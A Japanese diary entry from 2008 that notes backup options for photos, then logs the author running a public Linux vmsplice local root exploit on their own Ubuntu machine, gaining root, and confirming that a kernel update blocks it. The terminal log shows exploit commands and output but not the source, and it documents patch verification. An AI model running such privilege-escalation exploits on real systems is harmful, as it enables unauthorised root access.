2008-02-18 晴れ,寒く感じるのは風邪だからか [長年日記]
_2 スラッシュドット・ジャパン|書き込み型光学メディアのベストな保存方法は?
以下が参考になるかな.
バックアップは複数あるに越したことはない.Google(PicasaWeb)にプライベートモードで置いておく?Prieaはダメダメなので使わないけど.Mozyも使うかなぁ.とりあえず手元のデータで重要なのは写真.
_3 スラッシュドット・ジャパン|Linuxカーネル2.6系にroot権限を奪われる脆弱性が発見される
ちょっと前のネタ.
手元でもやってみた.
mux06% uname -a Linux mux06 2.6.22-14-generic #1 SMP Fri Feb 1 04:59:50 UTC 2008 i686 GNU/Linux mux06% gcc vmsplice_local_root_exploit.c -o vmsplice_local_root_exploit mux06% ./vmsplice_local_root_exploit ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0x40177000 .. 0x401a9000 [+] root root@mux06:~# whoami root
Ubuntuで簡単にrootになる方法,って違うな.で,カーネルのアップデートが出ていたので当てる.
mux06% uname -a Linux mux06 2.6.22-14-generic #1 SMP Tue Feb 12 07:42:25 UTC 2008 i686 GNU/Linux mux06% gcc vmsplice_local_root_exploit.c -o vmsplice_local_root_exploit mux06% ./vmsplice_local_root_exploit ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0x40177000 .. 0x401a9000 [-] vmsplice: Bad address
OK.